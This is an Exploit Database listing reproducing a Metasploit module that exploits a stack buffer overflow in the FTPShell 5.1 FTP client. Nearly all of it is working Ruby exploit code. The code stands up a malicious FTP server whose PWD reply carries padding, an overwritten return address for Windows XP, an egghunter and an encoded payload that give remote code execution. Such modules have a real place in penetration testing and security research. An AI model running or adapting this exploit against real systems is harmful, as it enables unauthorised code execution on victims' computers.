FTPShell 5.1 – Remote Stack Buffer Overflow (Metasploit)

• Exploit Database
• 9 阅读

• 作者： Metasploit
  日期： 2010-11-14
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16736/

• ##
  # $Id: ftpshell51_pwd_reply.rb 11039 2010-11-14 19:03:24Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Exploit::Remote::FtpServer
  	include Exploit::Remote::Egghunter
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'FTPShell 5.1 Stack Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in FTPShell 5.1. The overflow gets
  				triggered when the ftp clients tries to process an overly response to a PWD command.
  				This will overwrite the saved EIP and structured exception handler.
  			},
  			'Author' 	 =>
  				[
  					'corelanc0d3r'	#found bug, wrote the exploit
  				],
  			'License'=> MSF_LICENSE,
  			'Version'=> "$Revision: 11039 $",
  			'References' =>
  				[
  					[ 'OSVDB', '68639'],
  					[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload'=>
  				{
  					'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows XP Universal', { 'Offset' => 399, 'Ret' => 0x779A5483} ], #jmp ebp [setupapi.dll]]
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Oct 12 2010',
  			'DefaultTarget'=> 0))
  
  	end
  
  
  	def setup
  		super
  	end
  
  	def on_client_unknown_command(c,cmd,arg)
  		c.put("200 OK\r\n")
  	end
  
  
  	def on_client_command_pwd(c,arg)
  
  		badchars = ""
  		eggoptions =
  		{
  		:checksum => true,
  		:eggtag => "w00t"
  		}
  		hunter,egg = generate_egghunter(payload.encoded,badchars,eggoptions)
  
  		print_status(" - PWD command -> Sending payload")
  		junk = "A" * target['Offset']
  		nops = "A" * 10
  		tweakhunter = "\x5a\x5a"
  		eip = [target.ret].pack('V')
  		buffer = junk + eip + nops + tweakhunter + hunter + egg
  		pwdoutput = "257\"/" + buffer+ "\" is current directory\r\n"
  		c.put(pwdoutput)
  		print_status(" - Sent #{pwdoutput.length} bytes, wait for hunter")
  		return
  
  	end
  
  end